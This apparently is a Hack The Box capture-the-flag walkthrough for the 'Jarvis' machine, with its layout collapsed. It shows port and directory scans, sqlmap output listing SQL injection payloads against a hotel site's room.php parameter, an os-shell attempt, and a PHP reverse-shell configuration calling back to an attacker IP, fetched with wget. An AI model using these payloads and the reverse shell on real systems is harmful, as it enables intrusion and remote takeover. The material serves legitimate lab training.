HTB Jarvis Walkthrough
HTB Jarvis Walkthrough (Nanobyte)
12345678910111213141516171819202122232425nmap -sV -sC -p- -oA jarvis.htb 10.10.10.143Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-15 18:42 CDTNmap scan report for 10.10.10.143Host is up (0.039s latency).Not shown: 65532 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)| ssh-hostkey:| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)80/tcp open http Apache httpd 2.4.25 ((Debian))| http-cookie-flags:| /:| PHPSESSID:|_ httponly flag not set|_http-server-header: Apache/2.4.25 (Debian)|_http-title: Stark Hotel64999/tcp open http Apache httpd 2.4.25 ((Debian))|_http-server-header: Apache/2.4.25 (Debian)|_http-title: Site doesn't have a title (text/html).Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 56.05 seconds1234567891011121314151617181920212223242526272829gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.10.10.143 -x php,html,htm===============================================================Gobuster v3.0.1by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)===============================================================[+] Url: http://10.10.10.143[+] Threads: 10[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt[+] Status codes: 200,204,301,302,307,401,403[+] User Agent: gobuster/3.0.1[+] Extensions: php,html,htm,txt[+] Timeout: 10s===============================================================2019/10/15 18:54:26 Starting gobuster===============================================================/index.php (Status: 200)/images (Status: 301)/nav.php (Status: 200)/footer.php (Status: 200)/css (Status: 301)/js (Status: 301)/fonts (Status: 301)/phpmyadmin (Status: 301)/room.php (Status: 302)/connection.php (Status: 200)/sass (Status: 301)===============================================================2019/10/15 19:22:44 Finished===============================================================1http://supersecurehotel.htb/room.php?cod=11234567891011121314151617181920212223242526272829303132333435363738394041424344sqlmap -u http://supersecurehotel.htb/room.php?cod=1 --dbs ___ __H__ ___ ___["]_____ ___ ___ {1.3#stable}|_ -| . [.] | .'| . ||___|_ [.]_|_|_|__,| _| |_|V |_| http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 20:42:22 /2019-10-15/[20:42:23] [INFO] resuming back-end DBMS 'mysql'[20:42:23] [INFO] testing connection to the target URLsqlmap resumed the following injection point(s) from stored session:---Parameter: cod (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: cod=1 AND 1133=1133 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 OR time-based blind Payload: cod=1 OR SLEEP(5) Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: cod=-5818 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71627a6b71,0x46674577596d525958626f4b6f426545445a6b485a4655705855484b476c454a47705171796f4456,0x7170787171),NULL,NULL-- KnHI---[20:42:24] [INFO] the back-end DBMS is MySQLweb server operating system: Linux Debian 9.0 (stretch)web application technology: Apache 2.4.25back-end DBMS: MySQL >= 5.0.12[20:42:24] [INFO] fetching database names[20:42:24] [INFO] used SQL query returns 4 entries[20:42:24] [INFO] retrieved: 'hotel'[20:42:25] [INFO] retrieved: 'information_schema'[20:42:25] [INFO] retrieved: 'mysql'[20:42:25] [INFO] retrieved: 'performance_schema'available databases [4]: [*] hotel[*] information_schema[*] mysql[*] performance_schema123sqlmap -u http://supersecurehotel.htb/room.php?cod=1 --os-shellUse Default <PHP>Use Default Dir12345678910set_time_limit (0);$VERSION = "1.0";$ip = '10.10.14.29'; // CHANGE THIS$port = 1337; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;1python -m SimpleHTTPServer 801wget http://<MY-KALI-IP>/php-reverse-shell.php -O php-reverse-shell.phpLast updated